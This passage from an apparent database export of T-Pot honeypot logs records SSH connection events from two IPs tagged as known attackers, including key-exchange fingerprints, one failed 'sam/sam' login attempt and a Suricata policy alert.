"AAADzAYU0XUtdogeqet9w7TWj2T95AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41022, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:19:09.430322Z", "@timestamp": "2021-09-20T12:19:09.430Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......u-v....}....d.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	FR
37131	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:19:09.39071+03	2021-09-20 15:30:03.251429+03	{"_id": "KgYlA3wBvYTbRNuEVGcp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41022, "timestamp": "2021-09-20T12:19:09.390710", "@timestamp": "2021-09-20T12:19:09.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37132	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:19:09.430757+03	2021-09-20 15:30:03.252428+03	{"_id": "HwYlA3wBvYTbRNuEUmcu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "42de2997059c", "@version": "1", "timestamp": "2021-09-20T12:19:09.430757Z", "@timestamp": "2021-09-20T12:19:09.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	FR
37133	163.172.167.225	109.199.241.180	Suricata	2021-09-20 15:19:09.429954+03	2021-09-20 15:30:03.253892+03	{"_id": "JAYlA3wBvYTbRNuEU2c1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 1609345657553482, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41022, "dest_port": 22, "timestamp": "2021-09-20T12:19:09.429954Z", "@timestamp": "2021-09-20T12:19:09.429Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	FR
37134	176.60.208.43	109.199.241.180	Fatt	2021-09-20 15:19:09.470305+03	2021-09-20 15:30:03.254881+03	{"_id": "KQYlA3wBvYTbRNuEVGcp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41308, "dest_port": 22, "timestamp": "2021-09-20T12:19:09.470305", "@timestamp": "2021-09-20T12:19:09.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	BY
37135	163.172.167.225	109.199.241.180	Fatt	2021-09-20 15:19:09.430322+03	2021-09-20 15:30:03.256882+03	{"_id": "KwYlA3wBvYTbRNuEVGcr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41022, "dest_port": 22, "timestamp": "2021-09-20T12:19:09.430322", "@timestamp": "2021-09-20T12:19:09.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	FR
37136	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:19:09.89866+03	2021-09-20 15:30:03.257882+03	{"_id": "LAYlA3wBvYTbRNuEVmcX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [sam/sam] failed", "session": "877a8c81009d", "@version": "1", "password": "sam", "username": "sam", "timestamp": "2021-09-20T12:19:09.898660Z", "@timestamp": "2021-09-20T12:19:09.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	BY
37137	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:19:10.982754+03	2021-09-20 15:30:03.258882+03	{"_id": "LgYlA3wBvYTbRNuEWWf_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "877a8c81009d", "@version": "1", "duration": 1.5925731658935547, "timestamp": "2021-09-20T12:19:10.982754Z", "@timestamp": "2021-09-20T12:19:10.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	BY
37138	176.60.208.43	109.199.241.180	Suricata	2021-09-20 15:19:09.470305+03	2021-09-20 15:30:03.260881+03	{"_id": "JwYlA3wBvYTbRNuEU2c1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:19:09.307666+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1569447558885842, "payload": "AAADzAYUE25sj6gdQDTMFFr+eY1PEAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41308, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:19:09.470305Z", "@timestamp": "2021-09-20T12:19:09.470Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......nl...@4..Z.y.O....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	BY
37139	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:19:09.391255+03	2021-09-20 15:30:03.262883+03	{"_id": "KAYlA3wBvYTbRNuEVGcp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41308, "timestamp": "2021-09-20T12:19:09.391255", "@timestamp": "2021-09-20T12:19:09.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37141	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:19:09.386167+03	2021-09-20 15:30:03.264883+03	{"_id": "HgYlA3wBvYTbRNuEUmcu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:41022 (192.168.176.2:22) [session: 42de2997059c]", "session": "42de2997059c", "@version": "1", "protocol": "ssh", "src_port": 41022, "dest_port": 22, "timestamp": "2021-09-20T12:19:09.386167Z", "@timestamp": "2021-09-20T12:19:09.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	FR
37142	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:19:09.390791+03	2021-09-20 15:30:03.265882+03	{"_id": "HQYlA3wBvYTbRNuEUmcu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "877a8c81009d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:19:09.390791Z", "@timestamp": "2021-09-20T12:19:09.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	BY
